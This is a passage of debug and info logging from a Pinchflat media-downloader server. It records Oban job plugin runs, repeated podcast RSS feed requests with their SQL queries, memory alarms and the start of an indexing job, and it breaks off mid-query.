{"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:58.668 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.371 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:28.670 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:42.840 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:49:42.840 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:49:42.842 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=744.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:49:42.843 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=746.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:49:42.846 [debug] QUERY OK source="source_metadata" db=0.8ms idle=748.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:49:42.847 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.6ms idle=749.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:49:42.848 [info] Sent 200 in 7ms 16:49:58.672 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.372 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:28.674 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:57.007 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:50:58.676 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.374 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:28.679 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:57.016 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:51:58.681 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.377 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:28.163 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:52:28.163 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:52:28.165 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=159.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:52:28.168 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=68.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:52:28.170 [debug] QUERY OK source="source_metadata" db=0.8ms idle=71.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:52:28.171 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=73.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:52:28.172 [info] Sent 200 in 8ms 16:52:28.683 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:58.685 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.378 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:28.687 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:58.690 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.380 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:23.854 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:54:23.854 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:54:23.856 [debug] QUERY OK source="sources" db=0.9ms idle=1756.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:54:23.858 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1758.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:54:23.860 [debug] QUERY OK source="source_metadata" db=0.7ms idle=1583.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:54:23.862 [debug] QUERY OK source="media_metadata" db=1.0ms queue=0.1ms idle=762.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:54:23.863 [info] Sent 200 in 8ms 16:54:28.693 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:58.695 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.381 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:28.697 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:58.699 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.383 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:28.701 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:58.704 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.385 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:28.707 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:58.709 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.387 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:02.215 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:58:02.216 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:58:02.217 [debug] QUERY OK source="sources" db=0.7ms idle=415.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:58:02.249 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=149.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:58:02.252 [debug] QUERY OK source="source_metadata" db=0.5ms idle=153.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:58:02.253 [debug] QUERY OK source="media_metadata" db=0.7ms idle=154.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:58:02.254 [info] Sent 200 in 38ms 16:58:28.712 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:58.715 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.390 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:01.008 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:59:01.009 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:59:01.011 [debug] QUERY OK source="sources" db=1.4ms idle=911.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:59:01.014 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=914.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:59:01.016 [debug] QUERY OK source="source_metadata" db=0.7ms idle=917.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:59:01.018 [debug] QUERY OK source="media_metadata" db=1.1ms queue=0.1ms idle=627.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:59:01.019 [info] Sent 200 in 10ms 16:59:28.717 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:58.720 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.391 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:28.722 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:57.086 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:00:58.726 [info] {"source":"oban","duration":3416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.393 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:28.728 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:57.095 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:01:58.730 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.396 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:25.854 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:02:25.854 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:02:25.856 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=1754.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:02:25.859 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=1756.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:02:25.861 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1336.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:02:25.862 [debug] QUERY OK source="media_metadata" db=0.2ms idle=762.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:02:25.863 [info] Sent 200 in 9ms 17:02:28.733 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:58.736 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.397 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:28.739 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:41.141 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:03:41.142 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:03:41.184 [debug] QUERY OK source="sources" db=41.6ms idle=1042.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:03:41.186 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=1084.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:03:41.188 [debug] QUERY OK source="source_metadata" db=0.6ms idle=480.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:03:41.190 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=88.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:03:41.192 [info] Sent 200 in 51ms 17:03:58.741 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.400 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:28.744 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:58.746 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.401 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:28.749 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:58.751 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.403 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:28.753 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:58.756 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.404 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:28.758 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:58.761 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.406 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:07.908 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:08:07.908 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:08:07.910 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1808.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:08:07.912 [debug] QUERY OK source="media_items" db=1.8ms idle=1810.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:08:07.914 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1813.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:08:07.919 [debug] QUERY OK source="media_metadata" db=3.9ms idle=1530.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:08:07.920 [info] Sent 200 in 12ms 17:08:10.429 [info] {"args":{"id":1},"id":88,"meta":{},"system_time":1768064890424976979,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:08:10.431 [debug] QUERY OK source="sources" db=0.5ms idle=1330.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:08:10.463 [debug] QUERY OK source="settings" db=31.8ms queue=0.1ms idle=1331.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:10.503 [debug] QUERY OK source="media_items" db=37.1ms queue=0.2ms idle=1074.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 